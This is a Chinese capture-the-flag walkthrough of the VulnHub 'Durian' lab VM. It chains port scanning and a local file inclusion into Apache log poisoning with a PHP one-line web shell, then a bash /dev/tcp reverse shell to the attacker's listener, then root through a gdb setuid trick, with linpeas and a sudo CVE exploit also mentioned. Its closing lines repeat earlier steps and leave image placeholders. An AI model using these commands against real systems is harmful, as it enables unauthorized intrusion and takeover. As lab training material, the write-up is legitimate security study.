👑Durian
一、🤎靶机信息
# 靶机地址
http://www.vulnhub.com/entry/durian-1,553/
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#参考
https://blog.csdn.net/LYJ20010728/article/details/119832954
https://blog.csdn.net/weixin_50688050/article/details/118218951
二、🤎获取端口信息
1、获取IP
netdiscover -r 192.168.184.0/24
Currently scanning: 192.168.184.0/24 | Screen View: Unique Hosts
6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc.
192.168.184.137 00:0c:29:d4:59:5a 2 120 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、查看开启端口
nmap -sC -sV 192.168.184.137 -p- -vv -n --min-rate=2000
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
7080/tcp open ssl/empowerid syn-ack ttl 64 LiteSpeed #可能为8088的后台
8000/tcp open http syn-ack ttl 64 nginx 1.14.2
8088/tcp open radan-http syn-ack ttl 64 LiteSpeed #LiteSpeed类似于Apache
- 发现开启了22、8000、8088、80端口
3、访问7080
由于账号和密码都是未知,所以不考虑爆破
三、🤎searchsploit
查看漏洞
searchsploit litespeed
四、🤎feroxbuster
目录探测工具
feroxbuster -u "http://192.168.184.137:8088/"
由于8088和8000端口都开启了http服务,所以都需扫描
1、探测8088
200 GET 20l 51w 765c http://192.168.184.137:8088/
301 GET 14l 109w 1260c http://192.168.184.137:8088/cgi-bin => http://192.168.184.137:8088/cgi-bin/
301 GET 14l 109w 1260c http://192.168.184.137:8088/css => http://192.168.184.137:8088/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/img => http://192.168.184.137:8088/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs => http://192.168.184.137:8088/docs/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/css => http://192.168.184.137:8088/docs/css/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/img => http://192.168.184.137:8088/docs/img/
301 GET 14l 109w 1260c http://192.168.184.137:8088/docs/zh-CN => http://192.168.184.137:8088/docs/zh-CN/
301 GET 14l 109w 1260c http://192.168.184.137:8088/protected => http://192.168.184.137:8088/protected/
- 发现http://192.168.184.137:8088/protected/需要账号登录
由于账号和密码都是未知,所以不考虑爆破
2、探测8000
3、探测80
301 GET 9l 28w 317c http://192.168.184.137/blog => http://192.168.184.137/blog/
301 GET 9l 28w 321c http://192.168.184.137/cgi-data => http://192.168.184.137/cgi-data/
200 GET 20l 51w 765c http://192.168.184.137/
403 GET 9l 28w 280c http://192.168.184.137/server-status
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-includes => http://192.168.184.137/blog/wp-includes/
301 GET 9l 28w 326c http://192.168.184.137/blog/wp-admin => http://192.168.184.137/blog/wp-admin/
301 GET 9l 28w 328c http://192.168.184.137/blog/wp-content => http://192.168.184.137/blog/wp-content/
301 GET 9l 28w 330c http://192.168.184.137/blog/wp-admin/css => http://192.168.184.137/blog/wp-admin/css/
301 GET 9l 28w 333c http://192.168.184.137/blog/wp-admin/images => http://192.168.184.137/blog/wp-admin/images/
301 GET 9l 28w 331c http://192.168.184.137/blog/wp-admin/user => http://192.168.184.137/blog/wp-admin/user/
301 GET 9l 28w 334c http://192.168.184.137/blog/wp-admin/network => http://192.168.184.137/blog/wp-admin/network/
301 GET 9l 28w 332c http://192.168.184.137/blog/wp-admin/maint => http://192.168.184.137/blog/wp-admin/maint/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/uploads => http://192.168.184.137/blog/wp-content/uploads/
301 GET 9l 28w 329c http://192.168.184.137/blog/wp-admin/js => http://192.168.184.137/blog/wp-admin/js/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-admin/includes => http://192.168.184.137/blog/wp-admin/includes/
301 GET 9l 28w 336c http://192.168.184.137/blog/wp-content/plugins => http://192.168.184.137/blog/wp-content/plugins/
301 GET 9l 28w 335c http://192.168.184.137/blog/wp-content/themes => http://192.168.184.137/blog/wp-content/themes/
301 GET 9l 28w 344c http://192.168.184.137/blog/wp-content/plugins/akismet => http://192.168.184.137/blog/wp-content/plugins/akismet/
五、🤎尝试访问网站
http://192.168.184.137/cgi-data/
getlmage.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
/*
</?php include $_GET['file']; */
</body>
</html>
发现文件包含漏洞
- 测试包含文件
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../etc/passwd
测试能读,可以包含其他文件
六、🤎 尝试写入后门代码
1、访问日志
网站被访问的过程文件
/var/log/apache2/access.log
尝试访问,访问不成功,怀疑管理员修改了路径,尝试爆破
- 结果为
view-source:http://192.168.184.137/cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log
七、尝试在日志文件中写入代码
1、尝试修改User-Agen
2、再次访问日志文件
发现成功写入日志
3、写入一句话木马
<?php system($_GET['x']);?>
#传输一个x的值,让他来执行命令
- 写入后发现代码被执行
4、给x赋值
重新尝试修改为123123,会发现123123之间多了文件名,证明ls执行成功
七、🤎Hack-Tools
1、kali监听
nc -lvvp 8888
2、反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
GET /cgi-data/getImage.php?file=../../../../../../../var/log/durian.log/access.log&x=bash+-c+'exec+bash+-i+%26>/dev/tcp/192.168.184.128/8888+<%261' HTTP/1.1
Kali提权成功
3、此监听不可以使用回退
使用rlwrap nc -lvvp 8888
但是不是交互式的命令
八、🤎提权
www为安装Apache内置用户,权限相对于普通用户来说较低
1、开启交互式命令
python3 -c 'import pty; pty.spawn("/bin/bash")'
2、查看用户
进入/home
目录,发现用户durian
ls -al
drwxr-xr-x 2 durian durian 4096 Sep 8 2020 .
drwxr-xr-x 3 root root 4096 Sep 7 2020 ..
-rw------- 1 durian durian 31 Sep 8 2020 .bash_history
-rw-r--r-- 1 durian durian 220 Sep 7 2020 .bash_logout
-rw-r--r-- 1 durian durian 3526 Sep 7 2020 .bashrc
-rw-r--r-- 1 durian durian 807 Sep 7 2020 .profile
3、查看权限
sudo -l
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping
ls -al /sbin/shutdown
lrwxrwxrwx 1 root root 14 Apr 27 2020 /sbin/shutdown -> /bin/systemctl
ls -al /bin/systemctl
-rwxr-xr-x 1 root root 868696 Apr 27 2020 /bin/systemctl
4、下载提权工具
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./linpeas.sh > 123123.txt #输出结果输出到123123.txt
python3 -m http.server 6666 # Durian发送文件到kali
wget http:192.168.184.137:6666/123123.txt #kali下载文件
5、扫描出可以使用的命令
6、检测出的漏洞
扫描出的CVE对可尝试使用
# 下载攻击脚本
https://codeload.github.com/blasty/CVE-2021-3156/zip/main
7、使用gdb
工具
- 简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端(Shell)中使用
- 是作反编译的工具,和内核进行通讯,所以
gdb
的权限会非常大
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# -ex 代表回车
# -nx 不指定前缀命令(不从任何gdbint初始化文件中执行命令)
发现虽然没有显示用户名,但是提权成功
8、开启交互式
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
(不从任何gdbint初始化文件中执行命令)
[外链图片转存中...(img-xZGkt6tw-1659961848105)]
**发现虽然没有显示用户名,但是提权成功**
[外链图片转存中...(img-jugHp9ra-1659961848105)]
#### 8、开启交互式
```shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
[外链图片转存中…(img-NdhtnZT3-1659961848105)]
- 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b